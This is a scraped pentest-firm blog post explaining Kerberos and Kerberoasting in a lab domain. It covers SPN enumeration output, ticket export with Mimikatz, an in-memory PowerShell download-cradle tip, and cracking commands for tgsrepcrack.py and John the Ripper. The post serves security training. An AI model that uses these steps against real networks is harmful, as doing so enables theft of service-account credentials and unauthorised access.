

GIVEAWAY

Win the ultimate AI security check with a free pentest giveaway!

ENTER TODAY →

Kerberoast Attack Techniques

In this blog we will focus on Kerberoast attack techniques (Old Technique and New Technique).

NOV 1, 2017EST READ TIME: 5 MIN

 COBALT



In this blog we will focus on Kerberoast attack techniques (Old Technique and New Technique). I will try to cover the basics about Kerberos protocol and then we will see the attacking techniques from a penetration testing perspective.

What is Kerberos?

Kerberos is designed to provide authentication of user identity in a networked computing environment consisting of workstations and servers.

Kerberos Defined


Kerberos is an exploitation attack that extracts service account credentials with a combination of weak encryption and poor service account passwords.

Kerberos in a Nutshell

The Kerberos authentication system is built on top of tickets served by KDC. The core idea behind Kerberos is that the users don't share account passwords to each service they want to use. Instead, they share a ticket which they get from KDC.



Steps in Kerberos Authentication



This site uses web tracking technologies, such as cookies. These trackers are used to collect information about interactions with our site. We use this information to improve and customize your browsing experience and for analytics and metrics about site usage. To find out more about the trackers we use, see our Privacy Policy.

If you decline, your information won't be tracked. A single cookie will be used in your browser to remember your preference not to be tracked.

[Cookies settings](#)

Accept

Decline

- Password converted to **NTLM hash**, a timestamp is encrypted with the hash and sent to the

GIVEAWAY

Win the ultimate AI security check with a free pentest giveaway!

ENTER TODAY →

- The **Domain Controller** (KDC) checks user information & creates **Ticket-Granting Ticket** (TGT).
- The TGT is encrypted, signed, & delivered to the user (AS-Reply). Only the Kerberos service (**KRBTGT**) in the domain can open and read TGT data.
- The User presents the TGT to the DC when requesting a **Ticket Granting Service** (TGS) ticket (TGS-Request). The data in the TGT is effectively copied to create the TGS ticket.
- The TGS is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-Reply).
- The user connects to the server hosting the service on the appropriate port & presents the TGS. The service opens the TGS ticket using its NTLM password hash.

PLATFORM

SERVICES

SOLUTIONS

ABOUT

RESOURCES

LOGIN

GET STARTED

Kerberos Attacks:

There are several different types of Kerberos attacks ranging from recon (SPN Scanning), to offline service account password cracking (Kerberoast), to persistence (Silver & Golden Tickets).

Here are the most popular AD Kerberos attacks:

1. **SPN Scanning** – finding services by requesting service principal names of a specific SPN class/type.
2. **Silver Ticket** – forged Kerberos TGS service ticket
3. **Golden Ticket** – forged Kerberos TGT authentication ticket
4. **MS14-068 Forged PAC Exploit** – exploitation of the Kerberos vulnerability on Domain Controllers.

Now, let’s see how we can leverage the Kerberos implementation to our advantage.

Old Technique

We will see and understand the old technique first (i.e. SPN Scanning and then cracking the tickets).

In general, we follow the process below:

- Enumerate the domain accounts with SPNs set- either with GetUserSPNS.ps1 script from PowerView’s or Impacket’s “GetUserSPN.py”.
- Request TGSs for these specific SPNs with the built-in Windows tool setspn.exe.
- Extract these tickets from memory by invoking the kerberos::list /export Mimikatz command, with the optional base64 export format set first. The tickets were then downloaded, or the

This site uses web tracking technologies, such as cookies. These trackers are used to collect information about interactions with our site. We use this information to improve and customize your browsing experience and for analytics and metrics about site usage. To find out more about the trackers we use, see our Privacy Policy.

If you decline, your information won’t be tracked. A single cookie will be used in your browser to remember your preference not to be tracked.



GIVEAWAY

Win the ultimate AI security check with a free pentest giveaway!

ENTER TODAY →

```
Checking forest DC=blackops,DC=com
CN=BLRMS200833152,OU=Domain Controllers,DC=blackops,DC=com
ldap/BLRMS200833152.blackops.com/ForestDnsZones.blackops.com
ldap/BLRMS200833152.blackops.com/DomainDnsZones.blackops.com
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/BLRMS200833152.blackops.com
TERMSRV/BLRMS200833152.blackops.com
TERMSRV/BLRMS200833152.blackops.com
DNS/BLRMS200833152.blackops.com
GC/BLRMS200833152.blackops.com/blackops.com
RestrictedKrbHost/BLRMS200833152.blackops.com
RestrictedKrbHost/BLRMS200833152
HOST/BLRMS200833152/BLACKOPS
HOST/BLRMS200833152.blackops.com/BLACKOPS
HOST/BLRMS200833152
HOST/BLRMS200833152.blackops.com
HOST/BLRMS200833152.blackops.com/blackops.com
E3514235-4B06-11D1-AB04-00C04FC2DCD2/defd74d5-e050-4834-96fc-1afbffd5c754/blackops.com
ldap/BLRMS200833152/BLACKOPS
ldap/defd74d5-e050-4834-96fc-1afbffd5c754._msdcs.blackops.com
ldap/BLRMS200833152.blackops.com/BLACKOPS
ldap/BLRMS200833152
ldap/BLRMS200833152.blackops.com
ldap/BLRMS200833152.blackops.com/blackops.com
CN=krbtgt,CN=Users,DC=blackops,DC=com
kadmin/changepw
CN=BLRMSWIN33155,CN=Computers,DC=blackops,DC=com
TERMSRV/BLRMSWIN33155
TERMSRV/BLRMSWIN33155.blackops.com
RestrictedKrbHost/BLRMSWIN33155
HOST/BLRMSWIN33155
RestrictedKrbHost/BLRMSWIN33155.blackops.com
HOST/BLRMSWIN33155.blackops.com
CN=BLRMSWIN33154,CN=Computers,DC=blackops,DC=com
TERMSRV/BLRMSWIN33154
TERMSRV/BLRMSWIN33154.blackops.com
RestrictedKrbHost/BLRMSWIN33154
HOST/BLRMSWIN33154
RestrictedKrbHost/BLRMSWIN33154.blackops.com
HOST/BLRMSWIN33154.blackops.com
CN=LABUSER156-PC,CN=Computers,DC=blackops,DC=com
TERMSRV/LABUSER156-PC
TERMSRV/labuser156-PC.blackops.com
MSSQLSvc/labuser156-PC.blackops.com:SQLEXPRESS
RestrictedKrbHost/LABUSER156-PC
HOST/LABUSER156-PC
RestrictedKrbHost/LABUSER156-PC.blackops.com
HOST/LABUSER156-PC.blackops.com
CN=svcSQLServ1,CN=Users,DC=blackops,DC=com
svcSQLServ/BLRMS200833152.blackops.com:1433
CN=svcSQLServ2,CN=Users,DC=blackops,DC=com
svcSQLServ2/BLRMS200833152.blackops.com:1433
CN=BLRMS200833153,CN=Computers,DC=blackops,DC=com
WSMAN/blrms200833153
WSMAN/blrms200833153.blackops.com
TERMSRV/BLRMS200833153
TERMSRV/blrms200833153.blackops.com
RestrictedKrbHost/BLRMS200833153
HOST/BLRMS200833153
RestrictedKrbHost/BLRMS200833153.blackops.com
HOST/BLRMS200833153.blackops.com

Existing SPN found!
C:\Users\pratik>_
```

“setspn.exe” output

Now, if you notice we have “CN= Computers” and “CN=Users” for listed service accounts. We will be focusing on “CN=Users” as these are user generated and so we can try to crack :).



This site uses web tracking technologies, such as cookies. These trackers are used to collect information about interactions with our site. We use this information to improve and customize your browsing experience and for analytics and metrics about site usage. To find out more about the trackers we use, see our Privacy Policy.

If you decline, your information won't be tracked. A single cookie will be used in your browser to remember your preference not to be tracked.



GIVEAWAY

Win the ultimate AI security check with a free pentest giveaway!

ENTER TODAY →

```
Checking forest DC=blackops,DC=com
CN=BLRMS200833152,OU=Domain Controllers,DC=blackops,DC=com
ldap/BLRMS200833152.blackops.com/ForestDnsZones.blackops.com
ldap/BLRMS200833152.blackops.com/DomainDnsZones.blackops.com
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/BLRMS200833152.blackops.com
TERMSRV/BLRMS200833152.blackops.com
TERMSRV/BLRMS200833152.blackops.com
DNS/BLRMS200833152.blackops.com
GC/BLRMS200833152.blackops.com/blackops.com
RestrictedKrbHost/BLRMS200833152.blackops.com
RestrictedKrbHost/BLRMS200833152
HOST/BLRMS200833152/BLACKOPS
HOST/BLRMS200833152.blackops.com/BLACKOPS
HOST/BLRMS200833152
HOST/BLRMS200833152.blackops.com
HOST/BLRMS200833152.blackops.com/blackops.com
E3514235-4B06-11D1-AB04-00C04FC2DCD2/defd74d5-e050-4834-96fc-1afbffd5c754/blackops.com
ldap/BLRMS200833152/BLACKOPS
ldap/defd74d5-e050-4834-96fc-1afbffd5c754._msdcs.blackops.com
ldap/BLRMS200833152.blackops.com/BLACKOPS
ldap/BLRMS200833152
ldap/BLRMS200833152.blackops.com
ldap/BLRMS200833152.blackops.com/blackops.com
CN=krbtgt,CN=Users,DC=blackops,DC=com
kadmin/changepw
CN=BLRMSWIN33155,CN=Computers,DC=blackops,DC=com
TERMSRV/BLRMSWIN33155
TERMSRV/BLRMSWIN33155.blackops.com
RestrictedKrbHost/BLRMSWIN33155
HOST/BLRMSWIN33155
RestrictedKrbHost/BLRMSWIN33155.blackops.com
HOST/BLRMSWIN33155.blackops.com
CN=BLRMSWIN33154,CN=Computers,DC=blackops,DC=com
TERMSRV/BLRMSWIN33154
TERMSRV/BLRMSWIN33154.blackops.com
RestrictedKrbHost/BLRMSWIN33154
HOST/BLRMSWIN33154
RestrictedKrbHost/BLRMSWIN33154.blackops.com
HOST/BLRMSWIN33154.blackops.com
CN=LABUSER156-PC,CN=Computers,DC=blackops,DC=com
TERMSRV/LABUSER156-PC
TERMSRV/labuser156-PC.blackops.com
MSSQLSvc/labuser156-PC.blackops.com:SQLEXPRESS
RestrictedKrbHost/LABUSER156-PC
HOST/LABUSER156-PC
RestrictedKrbHost/LABUSER156-PC.blackops.com
HOST/LABUSER156-PC.blackops.com
CN=svcSQLServ1,CN=Users,DC=blackops,DC=com
svcSQLServ/BLRMS200833152.blackops.com:1433
CN=svcSQLServ2,CN=Users,DC=blackops,DC=com
svcSQLServ2/BLRMS200833152.blackops.com:1433
CN=BLRMS200833153,CN=Computers,DC=blackops,DC=com
WSMAN/blrms200833153
WSMAN/blrms200833153.blackops.com
TERMSRV/BLRMS200833153
TERMSRV/blrms200833153.blackops.com
RestrictedKrbHost/BLRMS200833153
HOST/BLRMS200833153
RestrictedKrbHost/BLRMS200833153.blackops.com
HOST/BLRMS200833153.blackops.com

Existing SPN found!
C:\Users\pratik>
```

Powershell Command (Non Admin User)

Now, we have tickets in memory. We will use Mimikatz to export the tickets from memory. This is one of the down side of this method as you are running Mimikatz this might trigger Alert or this can be detected by AV's.

Note: You can also load Mimikatz into memory using PowerShell “IEX (New-Object Net.WebClient).DownloadString” feature)

This site uses web tracking technologies, such as cookies. These trackers are used to collect information about interactions with our site. We use this information to improve and customize your browsing experience and for analytics and metrics about site usage. To find out more about the trackers we use, see our Privacy Policy.

If you decline, your information won't be tracked. A single cookie will be used in your browser to remember your preference not to be tracked.



We have successfully extracted the tickets from memory. Can we crack these tickets?? There are

GIVEAWAY

Win the ultimate AI security check with a free pentest giveaway!

ENTER TODAY →

1 > Using Kerberosast: Tgsrepcrack.py

We have provided the wordlist to crack the kirbi file

PLATFORM

SERVICES

SOLUTIONS

ABOUT

RESOURCES

LOGIN

GET STARTED

Command: *C:\Users\pratik\Desktop\kerberoast>python tgsrepcrack.py dict.txt "Ticket.kirbi"*

Cracked Ticket

:) Cracked

2> Convert .kirbi file to John the Ripper format

Now, we will use John the Ripper to crack the tickets. We know that tickets are in kirbi format so first we will convert the ticket to John the Ripper format. We can use Kerberoast (kirbi2john.py) for the same.

John the Ripper format

Command: *./john -format=krb5tgs crack_file - wordlist=dict.txt*

Cracked using John the Ripper

Cracked :)

New Technique

HarmJ0y has written a good blog on kerberoasting without Mimikatz. This technique is pretty

This site uses web tracking technologies, such as cookies. These trackers are used to collect information about interactions with our site. We use this information to improve and customize your browsing experience and for analytics and metrics about site usage. To find out more about the trackers we use, see our Privacy Policy.

If you decline, your information won't be tracked. A single cookie will be used in your browser to remember your preference not to be tracked.



INVOKER-KERBEROAST

Crack the tickets using John the Ripper

GIVEAWAY

Win the ultimate AI security check with a free pentest giveaway!

ENTER TODAY →

Cracked using John the Ripper

PLATFORM

SERVICES

SOLUTIONS

ABOUT

RESOURCES

LOGIN

GET STARTED

Quarterly Live Demo: Modern Pentesting at Scale with the Cobalt Platform

Register Now



[Back to Blog](#)



About Cobalt

Cobalt combines talent and technology to provide end-to-end offensive security solutions that enable organizations to remediate risk across a dynamically changing attack surface. As the innovators of Pentest as a Service (PtaaS), Cobalt empowers businesses to optimize their existing resources, access an on-demand community of trusted security experts, expedite remediation cycles, and share real-time updates and progress with internal teams to mitigate future risk.

MORE BY COBALT →

This site uses web tracking technologies, such as cookies. These trackers are used to collect information about interactions with our site. We use this information to improve and customize your browsing experience and for analytics and metrics about site usage. To find out more about the trackers we use, see our [Privacy Policy](#).

If you decline, your information won't be tracked. A single cookie will be used in your browser to remember your preference not to be tracked.




GIVEAWAY

Win the ultimate AI security check with a free pentest giveaway!

ENTER TODAY →

Blog

A Pentester's Guide to Cobalt
READ MORE →

Blog

4 Simple Steps to Protect Your Organization from Ransomware Attacks
READ MORE →

Blog

Dangers of Ransomware File-Sharing Software
READ MORE →

GET STARTED

SEE MORE


Never miss a story

Stay updated about Cobalt news as it happens

YOUR EMAIL*

I agree that the data I provide can be used to send me updates in the form of a newsletter. More details in our privacy policy.

SUBMIT

Cobalt

SCHEDULE A DEMO

CONTACT

PLATFORM

Cobalt Platform

Offensive Security

PtaaS

Pricing

SERVICES

Application Security

Application Pentest

Network Security

Cloud Security

Brand Protection

Device Security

COMPANY

About

Leadership

Core Community

Careers

Partners

HELPFUL LINKS

Product Documentation

Resource Library

Blog

Events & Webinars

Vulnerability Wiki

Trust Center

This site uses web tracking technologies, such as cookies. These trackers are used to collect information about interactions with our site. We use this information to improve and customize your browsing experience and for analytics and metrics about site usage. To find out more about the trackers we use, see our Privacy Policy.

If you decline, your information won't be tracked. A single cookie will be used in your browser to remember your preference not to be tracked.

